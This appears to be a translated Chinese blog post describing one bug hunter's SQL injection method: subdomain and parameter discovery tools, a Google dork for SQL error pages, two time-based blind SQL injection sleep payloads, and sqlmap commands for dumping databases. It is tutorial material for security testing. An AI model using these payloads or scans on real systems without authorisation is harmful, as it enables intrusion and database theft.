1.背景介绍
2.侦察
关于收集子域,他习惯使用 Subfinder、Assfinder 这两款工具,而对于收集隐藏参数,他习惯使用 Arjun和Katana两款工具。
katana -u "url + parameter"
当然,他也会使用Google Dorking和Shodan.io 来替代Httpx、Httprobe。
3.方法
通常的方法基本是基于SQL错误,Google Dorking:
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"
也会通过手动方式,在参数后面添加单引号或双引号,如果请求响应了SQL错误,基本就意味着存在漏洞。
对于SQL盲注,他比较喜欢使用Sleep Payloads:
0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z
63770’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z
4.Sqlmap
如果不知道参数是否存在漏洞,可以使用 Sqlmap 进行检测,因为它是发现此类漏洞的最佳工具。
如果是GET方式,可以使用:
sqlmap -u “target.com” --random-agent --level 1 --risk 1 --dbs
如果没有发现任何错误,也不要那么着急放弃,可以考虑更改level和risk等级,如果是POST方式,则可以使用:
sqlmap -u "target.com" --data "parameter=value" --method POST --random-agent --level 1 --risk 1 --dbs.
感谢阅读,如果觉得有所收获的话,欢迎分享给更多喜爱的朋友们~
====正文结束====